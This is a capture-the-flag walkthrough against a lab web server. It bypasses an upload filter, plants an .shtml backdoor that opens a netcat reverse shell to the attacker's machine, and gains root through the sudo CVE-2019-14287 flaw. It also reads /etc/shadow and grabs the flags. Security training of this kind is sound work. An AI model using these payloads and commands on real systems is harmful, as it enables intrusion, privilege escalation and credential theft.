A somewhat easy target, with a small upload form, that tries to enforce restrictions to certain file-types.

This target aims to illustrate some common misconfigurations and ways to exploit them.

Starting with port-scanning is always a good idea

```
$ nmap -sS 10.0.100.65
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-04 00:06 UTC
Nmap scan report for 10.0.100.65 (10.0.100.65)
Host is up (0.0022s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
```

Checking the server headers for this service we get

```
$ curl -I 10.0.100.65
HTTP/1.1 200 OK
Date: Mon, 04 Jan 2021 14:11:02 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.1.32
Content-Type: text/html; charset=UTF-8
```

Now that we know the port we can check to see what is hosted on the HTTP service, running on the system.

Visiting the page we see the following

```
$ lynx -dump http://10.0.100.65/
   Secure file upload module

   Please choose a file to upload (php files are not accepted) and press
   submit to upload the file.
   File: ________________ Submit
```

Trying to upload a `testfile` gives us this

```
  Secure file upload module

   Please choose a file to upload (php files are not accepted) and press
```

```
    submit to upload the file.
    BURRRRRRPPPP! Need 'beer' to proceeed.
```

Ok so we need to provide `beer` to **proceeed**. Checking the source code of the page we see the following

```
$ curl http://10.0.100.65/
<html>
<title>Secure beer upload testing environment</title>
<body>
  <strong> Secure file upload module </strong>
  <p> Please choose a file to upload (php files are not accepted) and press
  submit to upload the file.</p>
  <br/>
<br/>
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>

<!-- ETSCTF_*REDUCTED* -->
```

There are a few places that we could try passing `beer` on this page

- as HTTP query parameter and/or value `?beer=beer`
- as name and/or value for the submit button `<input type="submit" name="beer" value="beer">`
- as a filename for the upload
- as a form name `<form name="beer" method="post" enctype="multipart/form-data">`
- As a name of the file input field `<input type="file" name="beer">`

Changing the name of the input field from `file_upload` to `beer` did the trick and we are now able to upload files.

After testing a couple of different file extensions to the upload form, we narrowed down our list to the following:

1. filename without extension `curl -F "beer=@filename" 10.0.100.65`
2. filename starting with dot `curl -F "beer=@.filename" 10.0.100.65`
3. filename with `shtml` extension `curl -F "beer=@filename.shtml" 10.0.100.65`

All of these three cases have the potential for further exploitation under the right circumstances, when Apache web server is used, just like in our case.

1. If `ForceType application/x-httpd-php` is used we can upload PHP files without extension and be executed.

2. If `AllowOverride` is enabled on any of the accessible folders, then we can upload a `.htaccess` file that allows processing of PHP files no matter the extension.
3. If server side includes is installed and the folder we are uploading has `Options +Includes` then we can upload an `shtml` file with our payload to be executed server side.

We choose the last option since it seemed a lot easier and since we are going to attempt to spawn a reverse shell the timeout will be much longer than the default one used by PHP.

On one terminal we start netcat ready to accept connections on port `4444`

```
$ nc -l 10.10.0.x 4444
```

We create a `backdoor.shtml` file with our desired commands to be executed on the server and upload with `curl`.

```
$ echo '<!--#exec cmd="nc -e /bin/bash 10.10.0.X 4444" -->' > backdoor.shtml
$ curl -F "beer=@backdoor.shtml" 10.0.100.65
```

We see that the upload succeeded and we can now access our `backdoor.shtml` and initiate the reverse shell.

```
$ curl http://10.0.100.65/backdoor.shtml
```

Now we have a reverse shell connected. Lets investigate the system further

```
id;
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Our shell is running as the web server user (`www-data`). Looking around we see that the user is allowed to run `sudo` as any user **except** `root`.

```
sudo -l;
User www-data may run the following commands on barney:
  (ALL, !root) NOPASSWD: ALL
```

Checking the version with `sudo -V` we see that the version installed is affected by the CVE-2019-14287 vulnerability.

```
sudo -V;
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
```

```
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27
```

The exploitation of this vulnerability is fairly simple

```
sudo -u#-1 id;
uid=0(root) gid=33(www-data) groups=33(www-data)
```

To grab the remaining flags, we run the following commands

```
grep ETSCTF /etc/passwd /etc/shadow /proc/1/environment;
echo /root/ETSCTF*;
cat /root/ETSCTF*
```

Now go get your headshot :)